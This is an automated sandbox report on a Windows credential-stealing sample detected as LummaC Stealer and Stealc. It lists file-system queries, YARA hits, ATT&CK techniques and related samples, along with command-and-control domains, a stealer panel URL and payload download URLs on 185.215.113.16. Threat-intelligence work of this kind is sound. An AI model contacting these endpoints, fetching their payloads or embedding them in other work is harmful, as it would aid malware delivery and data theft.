Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u1z7S3hr06.exe PID: 7540, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: u1z7S3hr06.exe PID: 7540, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.2115624126.00000000004C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2067764925.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe PID: 8188, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
u1z7S3hr06.exe	63%	ReversingLabs	Win32.Trojan.Generic
u1z7S3hr06.exe	100%	Avira	TR/Crypt.XPACK.Gen
u1z7S3hr06.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
discokeyus.lat	104.21.21.99	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
185.215.113.206/c4becf79229cb002.php	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpZ	BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apimh	u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpc	BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	u1z7S3hr06.exe, 00000000.00000003.1785291170.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785124267.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752529025.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/t	u1z7S3hr06.exe, 00000000.00000003.1994822023.000000000598A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059B6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/q	u1z7S3hr06.exe, 00000000.00000003.1995446017.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/tuulHBdqWKZGxkQH29TI	u1z7S3hr06.exe, 00000000.00000003.1860274867.0000000005985000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1856744553.000000000598B000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830906189.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1831209024.000000000598A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	u1z7S3hr06.exe, 00000000.00000003.1785291170.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785124267.00000000059DB000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1752529025.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	u1z7S3hr06.exe, 00000000.00000003.1808651483.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	u1z7S3hr06.exe, 00000000.00000003.1995446017.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/:	u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.micro	u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1912026405.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1857010479.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	u1z7S3hr06.exe, 00000000.00000003.1830906189.0000000005988000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16:80/off/def.exe	u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.microsof	u1z7S3hr06.exe, 00000000.00000003.1752529025.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/	u1z7S3hr06.exe, 00000000.00000003.1750741861.0000000000B62000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785242155.0000000005986000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830873047.0000000005989000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1856924836.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1830906189.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1785368624.0000000005986000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1806699718.0000000005987000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1994822023.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1831209024.000000000598A000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1808635736.000000000598B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	u1z7S3hr06.exe, 00000000.00000003.1807562059.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpF	BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	u1z7S3hr06.exe, 00000000.00000003.1995470994.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	u1z7S3hr06.exe, 00000000.00000003.1752583119.00000000059B6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206	BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, 00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	u1z7S3hr06.exe, 00000000.00000003.1751639910.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751778323.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1751700806.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.21.99	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578961
Start date and time:	2024-12-20 17:09:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	u1z7S3hr06.exe renamed because original name is a hash value
Original Sample Name:	e82aa987c6c593c0c4bedb9747ec1666.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe, PID 8188 because there are no executed function
Execution Graph export aborted for target u1z7S3hr06.exe, PID 7540 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: u1z7S3hr06.exe

Simulations

Behavior and APIs

Time	Type	Description
11:10:32	API Interceptor	40x Sleep call for process: u1z7S3hr06.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.21.99	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse
	m21jm5y5Z5.exe	Get hash	malicious	LummaC	Browse
	gEfWplq0xQ.exe	Get hash	malicious	LummaC	Browse
	gNjo8FIKN5.exe	Get hash	malicious	LummaC	Browse
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
185.215.113.206	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/68b591d6548ec281/nss3.dll
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discokeyus.lat	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse	104.21.21.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	http://email.mg.mylearninghub.com/c/eJyUzr9OxCAcAOCngc2Gf6UwMBjPeiZ3i4nJeRuF3vWXUlBKz9anNw5OTu7f8HlDnacU94Y2XEhKJFF4MPqinXaO1KLXyhHbKKuJrLUinXVKKgyGESYoo5oyKkVT-UbwWrva876RjikkyHStpi30NkeI12HpKpcmHMxQyvuM-D1iLWKt70Oxv-ivR6y1SxkQay-Q53JIV4htCiF9HiCOiLcu-f4hxQvkCfHdG23G7vixvj4v9XY80ePTeHoJqzz79XGvzivZf51P4w0Qk-AR30muFM7GbnHJVWfzCBEJ4i2AG-ButnHc0k-jKhmX_83xzbDvAAAA__-qL3Ha	Get hash	malicious	Unknown	Browse	104.18.42.227
	https://dnearymedahealthstaffing.wordpress.com/medahealthstaffing-proposal/	Get hash	malicious	HTMLPhisher	Browse	104.21.73.56
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
WHOLESALECONNECTIONSNL	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
